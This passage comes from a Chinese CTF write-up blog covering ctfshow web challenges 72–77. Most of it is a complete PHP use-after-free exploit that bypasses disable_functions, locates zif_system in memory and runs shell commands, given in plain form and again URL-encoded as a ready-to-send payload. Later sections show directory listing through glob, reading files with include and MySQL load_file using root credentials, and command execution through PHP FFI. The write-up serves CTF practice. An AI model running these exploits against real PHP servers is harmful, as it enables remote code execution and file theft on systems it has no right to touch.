trigger_uaf($arg) &#123;        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');        $vuln = new Vuln();        $vuln->a = $arg;    &#125;    if(stristr(PHP_OS, 'WIN')) &#123;        die('This PoC is for *nix systems only.');    &#125;    $n_alloc = 10;     $contiguous = [];    for($i = 0; $i < $n_alloc; $i++)        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');    trigger_uaf('x');    $abc = $backtrace[1]['args'][0];    $helper = new Helper;    $helper->b = function ($x) &#123; &#125;;    if(strlen($abc) == 79 || strlen($abc) == 0) &#123;        die("UAF failed");    &#125;    $closure_handlers = str2ptr($abc, 0);    $php_heap = str2ptr($abc, 0x58);    $abc_addr = $php_heap - 0xc8;    write($abc, 0x60, 2);    write($abc, 0x70, 6);    write($abc, 0x10, $abc_addr + 0x60);    write($abc, 0x18, 0xa);    $closure_obj = str2ptr($abc, 0x20);    $binary_leak = leak($closure_handlers, 8);    if(!($base = get_binary_base($binary_leak))) &#123;        die("Couldn't determine binary base address");    &#125;    if(!($elf = parse_elf($base))) &#123;        die("Couldn't parse ELF header");    &#125;    if(!($basic_funcs = get_basic_funcs($base, $elf))) &#123;        die("Couldn't get basic_functions address");    &#125;    if(!($zif_system = get_system($basic_funcs))) &#123;        die("Couldn't get zif_system address");    &#125;    $fake_obj_offset = 0xd0;    for($i = 0; $i < 0x110; $i += 8) &#123;        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));    &#125;    write($abc, 0x20, $abc_addr + $fake_obj_offset);    write($abc, 0xd0 + 0x38, 1, 4);     write($abc, 0xd0 + 0x68, $zif_system);     ($helper->b)($cmd);    exit();&#125;ctfshow("cat /flag0.txt");ob_end_flush();#需要通过url编码哦

编码后的exp

c=function%20ctfshow(%24cmd)%20%7b%20%20%20%20%20global%20%24abc%2c%20%24helper%2c%20%24backtrace%3b%20%20%20%20%20%20class%20vuln%20%7b%20%20%20%20%20%20%20%20%20public%20%24a%3b%20%20%20%20%20%20%20%20%20public%20function%20__destruct()%20%7b%20%20%20%20%20%20%20%20%20%20%20%20%20%20global%20%24backtrace%3b%20%20%20%20%20%20%20%20%20%20%20%20%20%20unset(%24this-%3ea)%3b%20%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3d%20(new%20exception)-%3egettrace()%3b%20%20%20%20%20%20%20%20%20%20%20%20%20if(!isset(%24backtrace%5b1%5d%5b'args'%5d))%20%7b%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24backtrace%20%3d%20debug_backtrace()%3b%20%20%20%20%20%20%20%20%20%20%20%20%20%7d%20%20%20%20%20%20%20%20%20%7d%20%20%20%20%20%7d%20%20%20%20%20%20class%20helper%20%7b%20%20%20%20%20%20%20%20%20public%20%24a%2c%20%24b%2c%20%24c%2c%20%24d%3b%20%20%20%20%20%7d%20%20%20%20%20%20function%20str2ptr(%26%24str%2c%20%24p%20%3d%200%2c%20%24s%20%3d%208)%20%7b%20%20%20%20%20%20%20%20%20%24address%20%3d%200%3b%20%20%20%20%20%20%20%20%20for(%24j%20%3d%20%24s-1%3b%20%24j%20%3e%3d%200%3b%20%24j--)%20%7b%20%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%3c%3c%3d%208%3b%20%20%20%20%20%20%20%20%20%20%20%20%20%24address%20%7c%3d%20ord(%24str%5b%24p%2b%24j%5d)%3b%20%20%20%20%20%20%20%20%20%7d%20%20%20%20%20%20%20%20%20return%20%24address%3b%20%20%20%20%20%7d%20%20%20%20%20%20function%20ptr2str(%24ptr%2c%20%24m%20%3d%208)%20%7b%20%20%20%20%20%20%20%20%20%24out%20%3d%20%22%22%3b%20%20%20%20%20%20%20%20%20for%20(%24i%3d0%3b%20%24i%20%3c%20%24m%3b%20%24i%2b%2b)%20%7b%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3d%20sprintf(%22%25c%22%2c(%24ptr%20%26%200xff))%3b%20%20%20%20%20%20%20%20%20%20%20%20%20%24ptr%20%3e%3e%3d%208%3b%20%20%20%20%20%20%20%20%20%7d%20%20%20%20%20%20%20%20%20return%20%24out%3b%20%20%20%20%20%7d%20%20%20%20%20%20function%20write(%26%24str%2c%20%24p%2c%20%24v%2c%20%24n%20%3d%208)%20%7b%20%20%20%20%20%20%20%20%20%24i%20%3d%200%3b%20%20%20%20%20%20%20%20%20for(%24i%20%3d%200%3b%20%24i%20%3c%20%24n%3b%20%24i%2b%2b)%20%7b%20%20%20%20%20%20%20%20%20%20%20%20%20%24str%5b%24p%20%2b%20%24i%5d%20%3d%20sprintf(%22%25c%22%2c(%24v%20%26%200xff))%3b%20%20%20%20%20%20%20%20%20%20%20%20%20%24v%20%3e%3e%3d%208%3b%20%20%20%20%20%20%20%20%20%7d%20%20%20%20%20%7d%20%20%20%20%20%20function%20leak(%24addr%2c%20%24p%20%3d%200%2c%20%24s%20%3d%208)%20%7b%20%20%20%20%20%20%20%20%20global%20%24abc%2c%20%24helper%3b%20%20%20%20%20%20%20%20%20write(%24abc%2c%200x68%2c%20%24addr%20%2b%20%24p%20-%200x10)%3b%20%20%20%20%20%20%20%20%20%24leak%20%3d%20strlen(%24helper-%3ea)%3b%20%20%20%20%20%20%20%20%20if(%24s%20!%3d%208)%20%7b%20%24leak%20%25%3d%202%20%3c%3c%20(%24s%20*%208)%20-%201%3b%20%7d%20%20%20%20%20%20%20%20%20return%20%24leak%3b%20%20%20%20%20%7d%20%20%20%20%20%20function%20parse_elf(%24base)%20%7b%20%20%20%20%20%20%20%20%20%24e_type%20%3d%20leak(%24base%2c%200x10%2c%202)%3b%20%20%20%20%20%20%20%20%20%20%24e_phoff%20%3d%20leak(%24base%2c%200x20)%3b%20%20%20%20%20%20%20%20%20%24e_phentsize%20%3d%20leak(%24base%2c%200x36%2c%202)%3b%20%20%20%20%20%20%20%20%20%24e_phnum%20%3d%20leak(%24base%2c%200x38%2c%202)%3b%20%20%20%20%20%20%20%20%20%20for(%24i%20%3d%200%3b%20%24i%20%3c%20%24e_phnum%3b%20%24i%2b%2b)%20%7b%20%20%20%20%20%20%20%20%20%20%20%20%20%24header%20%3d%20%24base%20%2b%20%24e_phoff%20%2b%20%24i%20*%20%24e_phentsize%3b%20%20%20%20%20%20%20%20%20%20%20%20%20%24p_type%20%20%3d%20leak(%24header%2c%200%2c%204)%3b%20%20%20%20%20%20%20%20%20%20%20%20%20%24p_flags%20%3d%20leak(%24header%2c%204%2c%204)%3b%20%20%20%20%20%20%20%20%20%20%20%20%20%24p_vaddr%20%3d%20leak(%24header%2c%200x10)%3b%20%20%20%20%20%20%20%20%20%20%20%20%20%24p_memsz%20%3d%20leak(%24header%2c%200x28)%3b%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24p_type%20%3d%3d%201%20%26%26%20%24p_flags%20%3d%3d%206)%20%7b%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_addr%20%3d%20%24e_type%20%3d%3d%202%20%3f%20%24p_vaddr%20%3a%20%24base%20%2b%20%24p_vaddr%3b%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24data_size%20%3d%20%24p_memsz%3b%20%20%20%20%20%20%20%20%20%20%20%20%20%7d%20else%20if(%24p_type%20%3d%3d%201%20%26%26%20%24p_flags%20%3d%3d%205)%20%7b%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24text_size%20%3d%20%24p_memsz%3b%20%20%20%20%20%20%20%20%20%20%20%20%20%7d%20%20%20%20%20%20%20%20%20%7d%20%20%20%20%20%20%20%20%20%20if(!%24data_addr%20%7c%7c%20!%24text_size%20%7c%7c%20!%24data_size)%20%20%20%20%20%20%20%20%20%20%20%20%20return%20false%3b%20%20%20%20%20%20%20%20%20%20return%20%5b%24data_addr%2c%20%24text_size%2c%20%24data_size%5d%3b%20%20%20%20%20%7d%20%20%20%20%20%20function%20get_basic_funcs(%24base%2c%20%24elf)%20%7b%20%20%20%20%20%20%20%20%20list(%24data_addr%2c%20%24text_size%2c%20%24data_size)%20%3d%20%24elf%3b%20%20%20%20%20%20%20%20%20for(%24i%20%3d%200%3b%20%24i%20%3c%20%24data_size%20%2f%208%3b%20%24i%2b%2b)%20%7b%20%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3d%20leak(%24data_addr%2c%20%24i%20*%208)%3b%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3e%200%20%26%26%20%24leak%20-%20%24base%20%3c%20%24data_addr%20-%20%24base)%20%7b%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3d%20leak(%24leak)%3b%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3d%200x746e6174736e6f63)%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3b%20%20%20%20%20%20%20%20%20%20%20%20%20%7d%20else%20continue%3b%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3d%20leak(%24data_addr%2c%20(%24i%20%2b%204)%20*%208)%3b%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20-%20%24base%20%3e%200%20%26%26%20%24leak%20-%20%24base%20%3c%20%24data_addr%20-%20%24base)%20%7b%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24deref%20%3d%20leak(%24leak)%3b%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24deref%20!%3d%200x786568326e6962)%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3b%20%20%20%20%20%20%20%20%20%20%20%20%20%7d%20else%20continue%3b%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24data_addr%20%2b%20%24i%20*%208%3b%20%20%20%20%20%20%20%20%20%7d%20%20%20%20%20%7d%20%20%20%20%20%20function%20get_binary_base(%24binary_leak)%20%7b%20%20%20%20%20%20%20%20%20%24base%20%3d%200%3b%20%20%20%20%20%20%20%20%20%24start%20%3d%20%24binary_leak%20%26%200xfffffffffffff000%3b%20%20%20%20%20%20%20%20%20for(%24i%20%3d%200%3b%20%24i%20%3c%200x1000%3b%20%24i%2b%2b)%20%7b%20%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%3d%20%24start%20-%200x1000%20*%20%24i%3b%20%20%20%20%20%20%20%20%20%20%20%20%20%24leak%20%3d%20leak(%24addr%2c%200%2c%207)%3b%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24leak%20%3d%3d%200x10102464c457f)%20%7b%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20%24addr%3b%20%20%20%20%20%20%20%20%20%20%20%20%20%7d%20%20%20%20%20%20%20%20%20%7d%20%20%20%20%20%7d%20%20%20%20%20%20function%20get_system(%24basic_funcs)%20%7b%20%20%20%20%20%20%20%20%20%24addr%20%3d%20%24basic_funcs%3b%20%20%20%20%20%20%20%20%20do%20%7b%20%20%20%20%20%20%20%20%20%20%20%20%20%24f_entry%20%3d%20leak(%24addr)%3b%20%20%20%20%20%20%20%20%20%20%20%20%20%24f_name%20%3d%20leak(%24f_entry%2c%200%2c%206)%3b%20%20%20%20%20%20%20%20%20%20%20%20%20%20if(%24f_name%20%3d%3d%200x6d6574737973)%20%7b%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%20leak(%24addr%20%2b%208)%3b%20%20%20%20%20%20%20%20%20%20%20%20%20%7d%20%20%20%20%20%20%20%20%20%20%20%20%20%24addr%20%2b%3d%200x20%3b%20%20%20%20%20%20%20%20%20%7d%20while(%24f_entry%20!%3d%200)%3b%20%20%20%20%20%20%20%20%20return%20false%3b%20%20%20%20%20%7d%20%20%20%20%20%20function%20trigger_uaf(%24arg)%20%7b%20%20%20%20%20%20%20%20%20%20%24arg%20%3d%20str_shuffle('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')%3b%20%20%20%20%20%20%20%20%20%24vuln%20%3d%20new%20vuln()%3b%20%20%20%20%20%20%20%20%20%24vuln-%3ea%20%3d%20%24arg%3b%20%20%20%20%20%7d%20%20%20%20%20%20if(stristr(php_os%2c%20'win'))%20%7b%20%20%20%20%20%20%20%20%20die('this%20poc%20is%20for%20*nix%20systems%20only.')%3b%20%20%20%20%20%7d%20%20%20%20%20%20%24n_alloc%20%3d%2010%3b%20%20%20%20%20%20%24contiguous%20%3d%20%5b%5d%3b%20%20%20%20%20for(%24i%20%3d%200%3b%20%24i%20%3c%20%24n_alloc%3b%20%24i%2b%2b)%20%20%20%20%20%20%20%20%20%24contiguous%5b%5d%20%3d%20str_shuffle('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')%3b%20%20%20%20%20%20trigger_uaf('x')%3b%20%20%20%20%20%24abc%20%3d%20%24backtrace%5b1%5d%5b'args'%5d%5b0%5d%3b%20%20%20%20%20%20%24helper%20%3d%20new%20helper%3b%20%20%20%20%20%24helper-%3eb%20%3d%20function%20(%24x)%20%7b%20%7d%3b%20%20%20%20%20%20if(strlen(%24abc)%20%3d%3d%2079%20%7c%7c%20strlen(%24abc)%20%3d%3d%200)%20%7b%20%20%20%20%20%20%20%20%20die(%22uaf%20failed%22)%3b%20%20%20%20%20%7d%20%20%20%20%20%20%24closure_handlers%20%3d%20str2ptr(%24abc%2c%200)%3b%20%20%20%20%20%24php_heap%20%3d%20str2ptr(%24abc%2c%200x58)%3b%20%20%20%20%20%24abc_addr%20%3d%20%24php_heap%20-%200xc8%3b%20%20%20%20%20%20write(%24abc%2c%200x60%2c%202)%3b%20%20%20%20%20write(%24abc%2c%200x70%2c%206)%3b%20%20%20%20%20%20write(%24abc%2c%200x10%2c%20%24abc_addr%20%2b%200x60)%3b%20%20%20%20%20write(%24abc%2c%200x18%2c%200xa)%3b%20%20%20%20%20%20%24closure_obj%20%3d%20str2ptr(%24abc%2c%200x20)%3b%20%20%20%20%20%20%24binary_leak%20%3d%20leak(%24closure_handlers%2c%208)%3b%20%20%20%20%20if(!(%24base%20%3d%20get_binary_base(%24binary_leak)))%20%7b%20%20%20%20%20%20%20%20%20die(%22couldn't%20determine%20binary%20base%20address%22)%3b%20%20%20%20%20%7d%20%20%20%20%20%20if(!(%24elf%20%3d%20parse_elf(%24base)))%20%7b%20%20%20%20%20%20%20%20%20die(%22couldn't%20parse%20elf%20header%22)%3b%20%20%20%20%20%7d%20%20%20%20%20%20if(!(%24basic_funcs%20%3d%20get_basic_funcs(%24base%2c%20%24elf)))%20%7b%20%20%20%20%20%20%20%20%20die(%22couldn't%20get%20basic_functions%20address%22)%3b%20%20%20%20%20%7d%20%20%20%20%20%20if(!(%24zif_system%20%3d%20get_system(%24basic_funcs)))%20%7b%20%20%20%20%20%20%20%20%20die(%22couldn't%20get%20zif_system%20address%22)%3b%20%20%20%20%20%7d%20%20%20%20%20%20%20%24fake_obj_offset%20%3d%200xd0%3b%20%20%20%20%20for(%24i%20%3d%200%3b%20%24i%20%3c%200x110%3b%20%24i%20%2b%3d%208)%20%7b%20%20%20%20%20%20%20%20%20write(%24abc%2c%20%24fake_obj_offset%20%2b%20%24i%2c%20leak(%24closure_obj%2c%20%24i))%3b%20%20%20%20%20%7d%20%20%20%20%20%20write(%24abc%2c%200x20%2c%20%24abc_addr%20%2b%20%24fake_obj_offset)%3b%20%20%20%20%20write(%24abc%2c%200xd0%20%2b%200x38%2c%201%2c%204)%3b%20%20%20%20%20%20write(%24abc%2c%200xd0%20%2b%200x68%2c%20%24zif_system)%3b%20%20%20%20%20%20%20(%24helper-%3eb)(%24cmd)%3b%20%20%20%20%20exit()%3b%20%7d%20%20ctfshow(%22cat%20%2fflag0.txt%22)%3bob_end_flush()%3b

Web73

老规矩先看目录

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f)&#123;echo($f->__toString()." ");&#125;;exit();

flagc.txt

试试include能用不

Payload:

c=include("/flagc.txt");exit();

Web74

老规矩先看目录

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f)&#123;echo($f->__toString()." ");&#125;;exit();

flagx.txt

试试include能用不

Payload:

c=include("/flagx.txt");exit();

Web75(未解决)

老规矩先看目录

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f)&#123;echo($f->__toString()." ");&#125;;exit();

flag36.txt

试试include能用不

又给禁用了

这次flag在flag36.txt里,好家伙又读取不成功开始限制了,后来看了下hint,这题用的mysql的load_file进行读取文件,

payload如下

c=try &#123;$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)&#123;echo($row[0])."|"; &#125;$dbh = null;&#125;catch (PDOException $e) &#123;echo $e->getMessage();exit(0);&#125;exit(0);

url编码

按照大佬博客上说是能行,但是自己试了不行。。。

Web76(未解决)

跟上题一样

Web77

还是先读取目录

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f)&#123;echo($f->__toString()." ");&#125;;exit();

发现一个flag36x.txt和readflag,题目提示了php7.4,搜了一下是利用FF1拓展(php7.4开始才有)

c=?><?php $ffi = FFI::cdef("int system(const char *command);");$ffi->system("/readflag >flag.txt");exit();

这里flag36x.txt读取不出来没有回显,所以利用readflag那个文件,把他输出到新文件flag.txt中

直接访问flag.txt


文章作者: ShadowCui
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 ShadowCui !